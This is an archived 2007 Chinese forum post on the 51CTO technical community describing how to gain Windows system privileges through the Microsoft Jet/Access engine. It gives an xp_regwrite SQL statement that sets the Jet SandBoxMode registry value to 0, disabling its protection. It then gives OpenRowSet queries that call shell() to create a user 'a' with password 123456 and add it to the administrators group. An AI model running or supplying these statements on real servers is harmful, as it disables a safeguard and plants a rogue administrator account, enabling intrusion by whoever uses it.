51CTO技术论坛_中国领先的IT技术社区's Archiver

sally 发表于 2007-11-26 14:28

Access数据库直接取得系统权限

说起来这个已经很老了,今天偶尔又被翻出来。于是还是写写!
首先在([url=http://support.microsoft.com/kb/q239104/]http://support.microsoft.com/kb/q239104/[/url]),这份资料知道在accessl里可以直接进行sql查询,具体的在Access中测试.测试的SQL语句如下: Select shell('c:\windows\system32\cmd.exe /c net user a 123456 /add'); 提到WINDOWS在Jet引擎中设置了一个名为SandBoxMode的开关,它的注册表位置在HKEY_LOCAL_MACHINE\SoftWare\Microsoft\ Jet\4.0\Engine\SandBoxMode里,0为在任何所有者中中都禁止起用安全设置,1为仅在允许的范围之内,2则是必须是Access 的模式下,3则是完全开启安全设置.默认情况下为2,只能在Access的模式下调用VBA的shell()函数,我们尝试将此注册表值改为0,结果成功的运行了VBS利用Jet引擎可以调用VBA的shell()函数执行了系统命令.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'--

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=d:\a.mdb','select shell("net user a 123456 /add")');

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=d:\a.mdb','select shell("net localgroup administrators a /add")');

页: [1]

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.